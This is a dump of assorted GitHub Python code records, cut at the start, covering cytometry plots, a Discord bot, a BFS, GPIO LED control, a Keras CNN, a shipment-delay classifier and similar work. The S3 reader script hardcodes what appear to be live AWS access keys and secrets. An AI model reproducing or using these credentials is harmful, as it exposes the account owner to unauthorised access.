data[(data[X]<xmax) & (data[Y]<ymax)]\n ax = axes[plot_loc[i][0], plot_loc[i][1]]\n ax.scatter(data[X], data[Y], s=0.05)\n ax.set_title(strain)\n \n #plt = sns.kdeplot(data[X], data[Y], shade=True, n_levels= 30)\n xlim=[0,xmax]\n ylim=[0,ymax]\n ax.set_xlim(xlim)\n ax.set_ylim(ylim) \n ax.set_xlabel(X)\n ax.set_ylabel(Y)\n plt.show()\n\ndef onestrain(strain, folder, X='FSC-A', Y='FL2-A', xmax=3000000, ymax=30000, plot=True):\n data = getflowdata(strain, folder)\n\n if len(X.split('/'))>1:\n Xs = X.split('/')\n Xdata = data[Xs[0]]/data[Xs[1]]\n Xdata.name = X\n elif len(X.split('*'))>1:\n Xs = X.split('*')\n Xdata = data[Xs[0]]/data[Xs[1]]\n Xdata.name = X\n else:\n Xdata = data[X]\n \n if len(Y.split('/'))>1:\n Ys = Y.split('/')\n Ydata = data[Ys[0]]/data[Ys[1]]\n Ydata.name = Y\n \n elif len(Y.split('*'))>1:\n Ys = Y.split('/')\n Ydata = data[Ys[0]]/data[Ys[1]]\n Ydata.name = Y\n \n else:\n Ydata = data[Y]\n \n data = concat([Xdata, Ydata], axis='columns')\n data = data[(data[X]<xmax) & (data[Y]<ymax)]\n if plot:\n plt.scatter(data[X], data[Y], s=0.05)\n plt.title(strain)\n \n #plt = sns.kdeplot(data[X], data[Y], shade=True, n_levels= 30)\n xlim=[0,xmax]\n ylim=[0,ymax]\n plt.xlim(xlim)\n plt.ylim(ylim) \n plt.xlabel(X)\n plt.ylabel(Y)\n plt.show()\n \n return data\n\n","repo_name":"JamesBagley/James_Foundry_Tools","sub_path":"flow_cytometry/BD_accuri_parser.py","file_name":"BD_accuri_parser.py","file_ext":"py","file_size_in_byte":3627,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"17346004365","text":"from discord.ext.commands import Bot\n\n\nclass Ramoloss(Bot):\n def __init__(self, config, token):\n self.config = config\n self.discord_token = token\n super().__init__(\n command_prefix=self.config[\"command_prefix\"],\n description=self.config[\"description\"]\n )\n for extension in self.config[\"extensions\"]:\n self.load_extension(extension)\n\n async def on_ready(self):\n print(f'Logged in as {self.user} with extensions: \\n{\" \".join(self.extensions).replace(\"cogs.\", \"\")}')\n\n def run(self, *args, **kwargs):\n super().run(self.discord_token, reconnect=True)\n","repo_name":"titigmr/Ramoloss","sub_path":"bot/_bot.py","file_name":"_bot.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"39054667515","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on 2018/10/31\n\n@author: gaoan\n\"\"\"\nimport logging\n\nfrom tigeropen.common.consts import Market, QuoteRight, TimelinePeriod\nfrom tigeropen.quote.quote_client import QuoteClient\n\nfrom tigeropen.examples.client_config import get_client_config\n\nlogging.basicConfig(level=logging.INFO,\n format='%(asctime)s %(levelname)s %(message)s',\n filemode='a', )\nlogger = logging.getLogger('TigerOpenApi')\n\nclient_config = get_client_config()\nopenapi_client = QuoteClient(client_config, logger=logger)\n\n\ndef get_quote():\n openapi_client.get_market_status(Market.US)\n openapi_client.get_briefs(symbols=['AAPL', '00700', '600519'], include_ask_bid=True, right=QuoteRight.BR)\n openapi_client.get_timeline('AAPL', period=TimelinePeriod.DAY, include_hour_trading=True)\n openapi_client.get_bars('AAPL')\n openapi_client.get_hour_trading_timeline('AAPL')\n\n\nif __name__ == '__main__':\n get_quote()\n","repo_name":"985153073/openapi-python-sdk","sub_path":"tigeropen/examples/quote_client_demo.py","file_name":"quote_client_demo.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6758777684","text":"def check_even_number_using_while():\n\n even_number_list = []\n odd_number_list = []\n start = int(input(\"\\nEnter Starting Point: \"))\n end = int(input(\"Enter The Ending Point: \"))\n counter = start\n\n print(\"\\nWhile loop implementation:\")\n while(counter <= end):\n if (counter % 2 != 0):\n even_number_list.append(counter)\n else:\n odd_number_list.append(counter)\n counter = counter + 1\n\n even_number_list = str(even_number_list)\n evenfile = open(\n 'C:\\\\code\\\\introduction-to-python-programming\\\\Index\\\\3.0-read-and-write-odd-even\\\\json\\\\evenfile.json', 'w')\n evenfile.write(even_number_list)\n evenfile.close()\n\n evenfile = open(\n 'C:\\\\code\\\\introduction-to-python-programming\\\\Index\\\\3.0-read-and-write-odd-even\\\\json\\\\evenfile.json', 'r')\n lines = evenfile.readlines()\n print(\"\\nEven numbers: {0}\".format(lines))\n evenfile.close()\n\n odd_number_list = str(odd_number_list)\n oddfile = open(\n 'C:\\\\code\\\\introduction-to-python-programming\\\\Index\\\\3.0-read-and-write-odd-even\\\\json\\\\oddfile.json', 'w')\n oddfile.write(odd_number_list)\n oddfile.close()\n\n oddfile = open(\n 'C:\\\\code\\\\introduction-to-python-programming\\\\Index\\\\3.0-read-and-write-odd-even\\\\json\\\\oddfile.json', 'r')\n lines = oddfile.readlines()\n oddfile.close()\n print(\"\\nOdd numbers: {0}\".format(lines))\n print(\"\\n\")\n","repo_name":"jeeliarda/introduction-to-python-programming","sub_path":"Index/3.0-read-and-write-odd-even/while_loop.py","file_name":"while_loop.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21901062070","text":"print(\"**** ROCK **** PAPER **** SCISSORS **** \\n r = rock, p = paper, s = scissors\")\nname1 = input('Player1 name:')\nname2 = input('Player2 name:')\n\np1 = input(name1+ \", make your choice:\")\nif p1 and p1 == 'r' or p1 == 'p' or p1 == 's':\n p2 = input(name2+ ', make your choice:')\n if p2 and p2 == 'r' or p2 == 'p' or p2 == 's':\n if p1 == p2:\n print(\"Tie!\")\n elif (p1 == 'r' and p2 == 's') or (p1 == 'p' and p2 == 'r') or (p1 == 's' and p2 == 'p'):\n print(name1+' wins!')\n else:\n print(name2 + ' wins!')\n else:\n print('invalid answer (please choose: r, p, s)')\nelse:\n print('invalid answer (please choose: r, p, s)')\n","repo_name":"rekagiday/udemy-python","sub_path":"basics/loops/rock_paper_scissors.py","file_name":"rock_paper_scissors.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6101053927","text":"from collections import deque #deque를 쓰기위한 모듈 import\n\ndef bfs(graph,root):\n visit=set() #효율성을 위해 visit을 list가 아닌 set으로 정의한다. 중복이 자동으로 삭제되기 때문에 훨씬 효율적\n queue=deque([root]) #queue를 deque로 정의하고 root_node를 적는다.\n visit.add(root) #visit에도 root_node를 추가한다.\n while queue:\n n = queue.popleft() #queue에서 pop하듯이 deque를 popleft하여 n에 저장한다.\n print(n, end='->') #visit이 set이기 때문에 visit을 출력하면 안되고 deque에서 pop된 친구들을 출력해야한다.\n for neighbour in graph[n]: \n if neighbour not in visit: #만약 graph[n]의 인덱스가 visit에 없다면 \n visit.add(neighbour) #visit에 추가를 해준다.(더이상 가면 안되기 때문에) 여기서 중복이 들어오게 되면 set이기 때문에 자동으로 삭제된다.\n queue.append(neighbour) #다음 그래프 순회를 하기 위해 deque에 추가해준다. \n\ngraph_list = {\n 'A': ['B'],\n 'B': ['A', 'C', 'H'],\n 'C': ['B', 'D'],\n 'D': ['C', 'E', 'G'],\n 'E': ['D', 'F'],\n 'F': ['E'],\n 'G': ['D'],\n 'H': ['B', 'I', 'J', 'M'],\n 'I': ['H'],\n 'J': ['H', 'K'],\n 'K': ['J', 'L'],\n 'L': ['K'],\n 'M': ['H']\n}\nprint(graph_list)\nroot_node = 'A'\nbfs(graph_list,root_node)","repo_name":"yujeonghyeop/progrramers","sub_path":"Level2/BFS/BFS.py","file_name":"BFS.py","file_ext":"py","file_size_in_byte":1406,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"28107486619","text":"import sqlite3\nDATABASE_FILE = r\"C:\\New folder\\MyComputerAssistant\\savedCommands.db\"\n\nclass DatabaseHandler(object):\n\n def create_table_if_not_exists():\n conn = sqlite3.connect(DATABASE_FILE)\n cursor = conn.cursor()\n\n cursor.execute('''CREATE TABLE IF NOT EXISTS saved_commands (\n id INTEGER PRIMARY KEY AUTOINCREMENT,\n command TEXT NOT NULL,\n input TEXT NOT NULL\n )''')\n\n conn.commit()\n conn.close()\n\n def create_table():\n conn = sqlite3.connect(DATABASE_FILE)\n cursor = conn.cursor()\n\n cursor.execute('''CREATE TABLE IF NOT EXISTS saved_commands (\n id INTEGER PRIMARY KEY AUTOINCREMENT,\n command TEXT NOT NULL,\n input TEXT NOT NULL\n )''')\n\n conn.commit()\n conn.close()\n\n def insert_command(command, audio_input):\n conn = sqlite3.connect(DATABASE_FILE)\n cursor = conn.cursor()\n\n cursor.execute(\"INSERT INTO saved_commands (command, input) VALUES (?, ?)\", (command, audio_input))\n conn.commit()\n\n conn.close()\n\n def find_command_by_input(audio_input):\n conn = sqlite3.connect(DATABASE_FILE)\n cursor = conn.cursor()\n\n cursor.execute(\"SELECT command FROM saved_commands WHERE input = ?\", (audio_input,))\n result = cursor.fetchone()\n\n conn.close()\n\n return result[0] if result else None\n\n\n\n\n","repo_name":"yolo102938/Python-Computer-Assistant","sub_path":"MyComputerAssistant/handleDatabase.py","file_name":"handleDatabase.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"24461952831","text":"\n\"\"\"\nNumerical Software Lab - Project 2\n\n@author: Getuar Rexhepi\n\nemail: grexhepi@constructor.university\n\n16 March, 2023\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n#a) \n#Function that calculates the scalar triple product of 3 vectors, and it works for 3D vectors\ndef scalar_triple(v1,v2,v3):\n #create a variable that holds the result of the scalar triple product calculated\n #using the formula that can be found in any calculus book\n result = v1[0]*(v2[1]*v3[2]-v2[2]*v3[1])+v1[1]*(v2[2]*v3[0]-v2[0]*v3[2])+v1[2]*(v2[0]*v3[1]-v2[1]*v3[0])\n #rerturn the result stored in the variable\n return result\n\n#Function that calculates the vector triple product of 3 vectors, and it works stritly for vectors of 3 dimensions\ndef vector_triple(v1,v2,v3):\n #the function has 3 arguments (vectors)\n #first it creates another vector that is a result of the cross product of the second and third vector\n #using indices we can simulate a cross product\n v23= [v2[1]*v3[2]-v3[1]*v2[2],-(v2[0]*v3[2]-v3[0]*v2[2]),v2[0]*v3[1]-v3[0]*v2[1]]\n #using the upper vector, we find the final result by cross product of the first vector and vector(2x3)\n result = [v1[1]*v23[2]-v23[1]*v1[2],-(v1[0]*v23[2]-v23[0]*v1[2]),v1[0]*v23[1]-v23[0]*v1[1]]\n #the result is stored in a variable which is finally returned by the function\n return result\n\n#using 3 arbitrary vectors of dimension 3 for testing purposes\nv = [1,2,3]\nu = [3,2,1]\nw = [4,1,2]\n\n#printing the input vectors and the output result (scalar in the first case and a vector in the second)\nprint (\"The triple scalar product of vectors :\",v,u,w,\"is : \",scalar_triple (v,u,w))\nprint (\"The triple vector product of vectors :\",v,u,w,\"is : \",vector_triple (v,u,w))\n\n#b)\n#Function that takes a file name, title, x_label and y_label as input with default values for the latter 3\ndef data_read (filename, title=\"Input data\", x_label=\"x axis\", y_label=\"y axis\"):\n #it reads the data form the file and outputs the x and y values in two seperate arrays\n #no skiprows because we don't have a header and no rows will be skipped\n data = np.loadtxt (filename, skiprows = 0)\n #storing the x and y values in two seperate arrays\n x = data[:, 0]\n y = data[:, 1]\n \n #computing the maximum and minimum for the two arrays as we need it later for the modifying the axes\n x_min = np.min (x)\n y_min = np.min (y)\n x_max = np.max (x)\n y_max = np.max (y)\n \n #computing the 5% margin and using it for plotting later\n margin_x = (x_max - x_min) * 0.05\n margin_y = (y_max - y_min) * 0.05\n \n #creating the figure and axis\n fig, ax = plt.subplots()\n #setting the figure title\n ax.set_title(title)\n #setting the figure labels\n ax.set_xlabel(x_label)\n ax.set_ylabel(y_label)\n\n #plotting the figure as x versus y values\n ax.plot(x, y)\n #setting the x and y axis limit and using the 5% margin at the both sides\n ax.set_xlim (x_min - margin_x, x_max + margin_x)\n ax.set_ylim (y_min - margin_y, y_max + margin_y)\n \n #saving the output figure as pdf\n plt.savefig(\"output.pdf\")\n plt.close()\n #renaming the filename, using replace for the new csv file\n csv_filename = filename.replace(\".dat\", \"_new.csv\")\n #saving the csv file with 1 digit to the right of the decimal point for both columns\n np.savetxt(csv_filename, list(zip(x, y)), fmt='%.1f',delimiter =',') \n \n #returning the x and y array\n return x,y\n\n#testing the output using the file provided in moodle\ndata_read ('test_data2.dat')\n\n","repo_name":"GettoarR/Numerical-Software-Lab","sub_path":"Numerical Software Lab - Project 2.py","file_name":"Numerical Software Lab - Project 2.py","file_ext":"py","file_size_in_byte":3549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"34772114886","text":"import boto3\nimport pandas\n\n# Creating the low level functional client\nclient = boto3.client(\n 's3',\n aws_access_key_id = 'AKIAQEEOWQHEXQGR5C5C',\n aws_secret_access_key = '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',\n region_name = 'us-west-1'\n)\n\n# Creating the high level object oriented interface\nresource = boto3.resource(\n 's3',\n aws_access_key_id = 'AKIAQEEOWQHEXQGR5C5C',\n aws_secret_access_key = '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',\n region_name = 'us-west-1'\n)\n\n# Create the S3 object\nobj = client.get_object(\n Bucket = 'project2-image',\n Key = 'static/text'\n)\n \n# Read data from the S3 object\ndata = pandas.read_csv(obj['Body'])\n \n# Print the data frame\nprint('Printing the data frame...')\nprint(data)\n","repo_name":"scyqa1/AWS","sub_path":"CW/homework5/src/s3Read.py","file_name":"s3Read.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"26620104789","text":"import RPi.GPIO as GPIO\n\n##Constants\nright = {\n \"red\": 22,\n \"green\": 26,\n \"blue\": 24,\n \"wwhite\": 32,\n \"white\": 36\n }\nleft = {\n \"red\": 18,\n \"green\": 12,\n \"blue\": 16,\n \"wwhite\": 8,\n \"white\": 10\n }\n\nthreshold = 100\ncloseness = 35\n##End Constants\n\n##Init\nprint (\"comms init\")\n\nGPIO.setmode(GPIO.BOARD)\nfor pin in left:\n #print \"pin is\", left[pin]\n GPIO.setup(left[pin], GPIO.OUT)\n GPIO.output(left[pin], GPIO.LOW)\nfor pin in right:\n #print \"pin is\", right[pin]\n GPIO.setup(right[pin], GPIO.OUT)\n GPIO.output(right[pin], GPIO.LOW)\n##End Init\n\ndef output(lr, lg, lb, lw, lww, rr, rg, rb, rw, rww):\n apply_pin(left[\"red\"], lr)\n apply_pin(left[\"green\"], lg)\n apply_pin(left[\"blue\"], lb)\n apply_pin(left[\"white\"], lw)\n apply_pin(left[\"wwhite\"], lww)\n apply_pin(right[\"red\"], rr)\n apply_pin(right[\"green\"], rg)\n apply_pin(right[\"blue\"], rb)\n apply_pin(right[\"white\"], rw)\n apply_pin(right[\"wwhite\"], rww)\n\ndef set_right(r, g, b):\n set_channel(right, r, g, b)\n\ndef set_left(r, g, b):\n set_channel(left, r, g, b)\n\ndef set_channel(ch, r, g, b):\n if in_range(r, g, 7) and in_range(g, b, 7):\n if r > b + 15:\n pin_only(ch, \"wwhite\") #warm white\n return\n else:\n pin_only(ch, \"white\") #cool white\n return\n else:\n if r > g and r > b:\n pin_only(ch, \"red\")\n if in_range(r, g, closeness):\n apply_pin(ch[\"green\"], True)\n elif in_range(r, b, closeness):\n apply_pin(ch[\"blue\"], True)\n elif g > r and g > b:\n pin_only(ch, \"green\")\n if in_range(r, g, closeness):\n apply_pin(ch[\"red\"], True)\n elif in_range(g, b, closeness):\n apply_pin(ch[\"blue\"], True)\n elif b > g and b > r:\n pin_only(ch, \"blue\")\n if in_range(b, g, closeness):\n apply_pin(ch[\"green\"], True)\n elif in_range(r, b, closeness):\n apply_pin(ch[\"red\"], True)\n return\n\ndef in_range(valA, valB, threshold):\n return valA < valB+threshold and valA > valB-threshold\n\ndef pins_only(on):\n for key in left:\n if key in on:\n apply_pin(left[key], True)\n else:\n apply_pin(left[key], False)\n for key in right:\n if key in on:\n apply_pin(right[key], True)\n else:\n apply_pin(right[key], False)\n\ndef pin_only(ch, on):\n for key in ch:\n if key == on:\n apply_pin(ch[key], True)\n else:\n apply_pin(ch[key], False)\n\ndef apply_pin(pin, en):\n GPIO.output(pin, state(en))\n\ndef state(en):\n if en == True:\n return GPIO.HIGH\n else:\n return GPIO.LOW\n\ndef cleanup():\n GPIO.cleanup()\n print (\"comms cleaning up\")\n","repo_name":"Zenith08/DIY-TV-Backlight","sub_path":"Original Board/comms.py","file_name":"comms.py","file_ext":"py","file_size_in_byte":2831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72293816572","text":"# -*- coding:utf-8 -*-\nimport unittest\nimport mock\n\nfrom ..views import QuestionnaireAutomatchesView\n\n\nclass QuestionnaireAutomatchesViewTestCase(unittest.TestCase):\n def test_get_should_call_template_response_with_template(self):\n # setup\n view = QuestionnaireAutomatchesView()\n request = mock.Mock()\n view.request = request\n view.get_context_data = mock.Mock()\n view.response_class = mock.Mock()\n view.get_queryset = mock.Mock()\n template_name = 'matches/questionnaire_automatches.html'\n\n # action\n view.get(request)\n\n # assert\n self.assertEqual(1, view.response_class.call_count)\n self.assertEqual(template_name,\n view.response_class.call_args[1]['template'][0])\n\n# @mock.patch('matches.views.Praxis.objects.filter')\n# @mock.patch('matches.views.BaseAutomatchesView.get_context_data')\n# def test_get_context_data_should_return_context_with_all_user_praxes(\n# self, get_context_data, praxis_filter):\n# # setup\n# view = QuestionnaireAutomatchesView()\n# request = mock.Mock()\n# view.request = request\n# context = {}\n# get_context_data.return_value = context\n\n# # assert\n# returned_value = view.get_context_data(**{})\n\n# # action\n# self.assertDictEqual(dict(business__user=request.user),\n# praxis_filter.call_args[1])\n# self.assertEqual(id(praxis_filter.return_value), id(context['praxes']))\n# self.assertEqual(id(context), id(returned_value))\n","repo_name":"hellhound/dentexchange","sub_path":"dentexchange/apps/matches/tests/test_questionnaire_automatches_view.py","file_name":"test_questionnaire_automatches_view.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"69998070972","text":"from PyASS.ass_abstractions import ASSCorpus\nfrom PyASS.ass_abstractions import ASSArticle\nfrom PyASS.ass_screening.ass_screen import ASSScreener\nfrom PyASS import ass_constant as constant\nimport json\n\nscreener: ASSScreener\n\n##\n# Cells to screen a bibliography\n#\nwhile True:\n prompt = input(\"\\n Hello to ASS screening process,\"\n \"\\n \\n Please type in the path to your corpus (bib, raw text, etc.) and press 'Enter': \")\n try:\n if prompt.endswith(\".bib\"):\n bib_file = open(prompt)\n the_corpus: ASSCorpus = ASSCorpus(**{constant.BIB_ENTRY: bib_file})\n elif prompt.endswith(\".json\"):\n json_file = json.load(prompt)\n the_corpus: ASSCorpus = ASSCorpus(**{constant.BIB_JSON: json_file})\n screener = ASSScreener(the_corpus)\n except FileNotFoundError:\n print(\"Wrong file or file path\")\n else:\n break\n\nif any(not (type(entry) is ASSArticle) for entry in the_corpus.corpus()):\n raise ValueError(\"Provided corpus should contains ASSArticles but contains: \"\n + ''.join(list(dict.fromkeys([type(item) for item in the_corpus.corpus()]))))\n\nfor entry in the_corpus.corpus():\n while True:\n print(''.join([\"ENTRY: \", entry.title()]))\n if screener.ask_validation(entry):\n break\n else:\n continue\n\n\n##\n# Cell to tag bibliogrphic ressources\n#","repo_name":"chapuisk/ASS","sub_path":"PyASS/ass_screening/screen_corpus.py","file_name":"screen_corpus.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"11912782785","text":"# Convolutional Neural Networks (CNN)\n\n# Part 1 Data preprocessing\n# since in this data like numbers r not present so we do not preprocess the data\n# importing data in this we have images so we have to preprcessing images \n\n\n# Part 1 - Building the CNN \n#importing Keras libraries & packages (it deals with images)\n\nfrom keras.models import Sequential #to inalize neural network using sequence of layers or graph\nfrom keras.layers import Convolution2D # for step 1 in CNN \nfrom keras.layers import MaxPooling2D # for step 2 in CNN\nfrom keras.layers import Flatten # for step 3 in CNN\nfrom keras.layers import Dense # to add fully connected layers in classic neural n/w \n\n#initialsing the CNN\nclassifier= Sequential() # create object of sequential class\n\n# step 1 - convolution \nclassifier.add(Convolution2D(32,3,3, border_mode='same',input_shape=(64,64,3), activation='relu'))\n \n\n# step 2 - pooling\n# if odd rows(col, square matrix)then no of row in pooling layer is (row+1)/2 if even row then row/2\nclassifier.add(MaxPooling2D(pool_size=(2,2)))\n\n\n\n\n# adding second covolution layer for incrasing accuracy \n# we does not include input shape in this becoz it understand automatically, but in 1st layer we include input shape becoz it does not know what is input image size\nclassifier.add(Convolution2D(32,3,3, border_mode='same', activation='relu'))\nclassifier.add(MaxPooling2D(pool_size=(2,2)))\n\n\n\n\n\n# step 3 -flattening\nclassifier.add(Flatten()) \n\n# step 4_ full connection \nclassifier.add(Dense(output_dim= 128 , activation='relu'))\nclassifier.add(Dense(output_dim= 1, activation='sigmoid')) # for o/p layer we use sigmoid fun for finding probability\n# since we have binary outcome we use sigmoid, if we have more than 2 than we can use softmax function\n\n\n# Compiling the CNN(ANN) i.e applying stochastic gradient descent method\nclassifier.compile(optimizer='adam',loss='binary_crossentropy', metrics= ['accuracy']) \n#if we have more than 2 output then we choose loss fun as categorical_crossentropy \n\n\n#Part 2 - fitting the CNN to the images \n# we have to oranginesed folder into 2 parts in machine laearning folder\n# we can use trick (from keras documentation website) for image argumentation to neglect overfitting \n# use method 2 -->flow_from_directory\nfrom keras.preprocessing.image import ImageDataGenerator \n\ntrain_datagen = ImageDataGenerator(\n rescale=1./255,\n shear_range=0.2,\n zoom_range=0.2,\n horizontal_flip=True)\n\ntest_datagen = ImageDataGenerator(rescale=1./255)\n\ntraining_set = train_datagen.flow_from_directory( 'folder/training_set',\n target_size=(64, 64), #same as input shape in step 1\n batch_size=32, \n class_mode='binary') \n\ntest_set = test_datagen.flow_from_directory( 'folder/test_set',\n target_size=(64, 64),\n batch_size=32,\n class_mode='binary') # binary outcome\n\nclassifier.fit_generator( training_set,\n samples_per_epoch=8000, \n nb_epoch=25, \n validation_data=test_set,\n nb_val_samples=2000) \n\n\n#for increasing aacuracy of test set we can increase one more convolution layer or add another fully connecyed layer ,best is adding convolution layer \n","repo_name":"JatinVatsa/Image_Analysis","sub_path":"jai_CNN.py","file_name":"jai_CNN.py","file_ext":"py","file_size_in_byte":3527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"32885537118","text":"Import('env')\nfrom os import path\n\nmodName = path.basename(path.abspath('..'))\nlibName = path.basename(path.abspath('.'))\n# --------------------------------------------------------------------------\nname = modName+'_'+libName\nsources = env.DWAGlob('*.cc')\nincdir = [env.Dir('#include')]\ncomponents = [\n\t 'common_math',\n\t 'common_platform',\n\t 'fb_util_ispc',\n\t 'render_util',\n\t 'tbb'\n\t ]\n\n# --------------------------------------------------------------------------\npublicHeaders = [\n 'ActivePixels.h',\n 'FbTypes.h',\n 'GammaF2C.h',\n 'PixelBuffer.h',\n 'PixelBufferUtilsGamma8bit.h',\n 'ReGammaC2F.h',\n 'ReSrgbC2F.h',\n 'RunningStats.h',\n 'SnapshotUtil.h',\n 'SparseTiledPixelBuffer.h',\n 'SrgbF2C.h',\n 'StatisticalTestSuite.h',\n 'StatisticsPixelBuffer.h',\n 'TileExtrapolation.h',\n 'Tiler.h',\n 'VariablePixelBuffer.h',\n ]\nenv.DWAInstallInclude(publicHeaders, 'scene_rdl2/common/fb_util')\nenv.DWAUseComponents(components)\nenv.Prepend (CPPPATH=incdir)\nlib = env.DWASharedLibrary(name, sources)\ntarget = env.DWAInstallLib(lib)\nenv.DWAComponent(name, LIBS=target, CPPPATH=incdir, COMPONENTS=components)\nenv.DWAInstallSConscriptStub(name, LIBS=target,\n CPPPATH=[env.Dir('$INSTALL_DIR/include')],\n COMPONENTS=components)\nenv.DWALinkValidate(name)\n","repo_name":"dreamworksanimation/scene_rdl2","sub_path":"lib/common/fb_util/SConscript","file_name":"SConscript","file_ext":"","file_size_in_byte":1536,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"34353897902","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.model_selection import train_test_split\nfrom imblearn.over_sampling import SMOTE\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.feature_selection import VarianceThreshold\nfrom sklearn.linear_model import LogisticRegression, LassoCV\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.neighbors import KNeighborsClassifier # NeighborhoodComponentsAnalysis cannot import\nfrom sklearn.svm import SVC\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.metrics import accuracy_score, classification_report,confusion_matrix\nfrom sklearn.model_selection import cross_val_score, StratifiedKFold, GridSearchCV, learning_curve\nfrom imblearn.pipeline import make_pipeline, Pipeline\n\ndf = pd.read_csv('cleaned_data.csv', dtype={'Delayed': np.bool})\npd.set_option('display.max_columns', None)\n# pd.set_option('display.max_rows', 4)\n\n\"\"\"\nSplit data into training and test dataset\n\"\"\"\n# Define columns relevant for the prediction\nmodel_vars = ['Customer Address Country', 'Carrier', 'PPU day', 'FHS day', 'FDA day', 'Delivery day', 'PPU-FHS', 'FHS-FDA', 'FDA-Delivery', 'Delayed']\n\nrel_data = df[model_vars]\nrel_data_encoded = pd.get_dummies(rel_data) # convert categorical vars into numerical.Yields 56 cols\n\n# Separate predictor from target variable\nx = rel_data_encoded.drop(['Delayed'], axis = 1) # predictor vars 55 x 50024\ny = rel_data_encoded['Delayed'] # target variable\n\n# Scale data to feed prediction models\nprint('Scaling data...')\nscaler = StandardScaler().fit(x)\nx_scale = scaler.transform(x)\n\n\"\"\" \nFix imbalanced class problem by oversampling the data using SMOTE\n\"\"\"\n# Oversampling under represented classes with SMOTE\nprint('Oversampling under-represented data...')\nsm = SMOTE('not majority', random_state=42)\n# sm_x, sm_y = sm.fit_sample(x_scale, y)\n\n# df_y_train = pd.DataFrame(data = sm_y, columns= ['Delayed'])\n# print('Length of oversampled data is', len(sm_x)) #62364 \n# print('Number of delayed shipments in oversampled data is', len(sm_y[df_y_train['Delayed']==True])) #31182\n# print('Number of on time shipments is', len(sm_y[df_y_train['Delayed']==False])) #31182\n\n\"\"\"\nBuilding prediction models\n\"\"\"\nrandom_state = 1 # Fixate a random state so that the results are reproducible\nn_jobs = -1\n\nlogreg = LogisticRegression(random_state=random_state)\nrf = RandomForestClassifier(random_state=random_state)\nmlp = MLPClassifier(hidden_layer_sizes= (50,50,50), max_iter=100)\ncart = DecisionTreeClassifier(random_state=random_state)\nknn = KNeighborsClassifier()\nsvm = SVC(random_state=random_state)\n\nclf = [] # List of algorithms\nclf.append(logreg)\nclf.append(rf)\nclf.append(mlp)\nclf.append(cart)\nclf.append(knn)\nclf.append(svm)\n\n\"\"\"Show the predictive power of the models by cross validating using stratified k fold\n\"\"\"\nkfold = StratifiedKFold(n_splits=5)\ncross_val_results_sm = [] # Returns n-fold results of cross validation of each predictor\nfor classifier in clf:\n smoted_classifier = make_pipeline(sm, classifier)\n cv_score = cross_val_score(smoted_classifier, x_scale, y, scoring='accuracy', cv=kfold, n_jobs=-1)\n cross_val_results_sm.append(cv_score)\n\ncv_means_sm = [] # Returns the means of the n-fold cross val results\ncv_std_sm = [] # Returns the standard deviation of the n-fold cross val results\nfor cv in cross_val_results_sm:\n cv_means_sm.append(cv.mean())\n cv_std_sm.append(cv.std()) \n\ncv_res_sm = pd.DataFrame({\"Cross Val Means\":cv_means_sm, \"Cross Val Errors\":cv_std_sm, \"Algorithm\":[\"Logistic Regression\", \"Random Forest\", \"MLP\", \"CART\", \"KNN\", \"SVM\"]})\n\norder = cv_res_sm.sort_values('Cross Val Means') # Order bars in ascending order\ng = sns.barplot(\"Cross Val Means\",\"Algorithm\",data = cv_res_sm, order=order['Algorithm'], palette=\"Set3\",orient = \"h\", **{'xerr':cv_std_sm})\n\nfor i in g.patches: # Put labels on bars\n width = i.get_width()-(i.get_width()*0.12) # Put labels left of the end of the bar\n g.text(width, i.get_y() + i.get_height()/2, round(i.get_width(),3), color='black', va=\"center\")\n \ng.set_xlabel(\"Mean Accuracy\")\ng = g.set_title(\"Cross Validation Score by SMOTE\")\nplt.tight_layout() \nplt.savefig('Accuracy scores_kfold_sm.png')\nplt.show()\n\n\"\"\"\nHyperparameter tuning for kNN, MLP, Random forest and CART (SMOTE)\n\"\"\"\nrandom_state = 1\nkfold = StratifiedKFold(n_splits=5)\nsm = SMOTE('not majority', random_state=42)\n\n# Random Forest\nrf = RandomForestClassifier(random_state=random_state)\n\nsm_classifier_rf = Pipeline([('sm', sm), ('rf', rf)])\nparam_grid = {\"rf__max_features\": [1, 3, 10],\n \"rf__min_samples_split\": [2, 3, 10],\n \"rf__min_samples_leaf\": [1, 3, 10],\n \"rf__n_estimators\" :[100,300]}\n\ngs_rf = GridSearchCV(sm_classifier_rf, param_grid = param_grid, cv=kfold, scoring=\"accuracy\", verbose = 1, n_jobs = -1)\ngs_rf.fit(x_scale, y)\n\nrf_best = 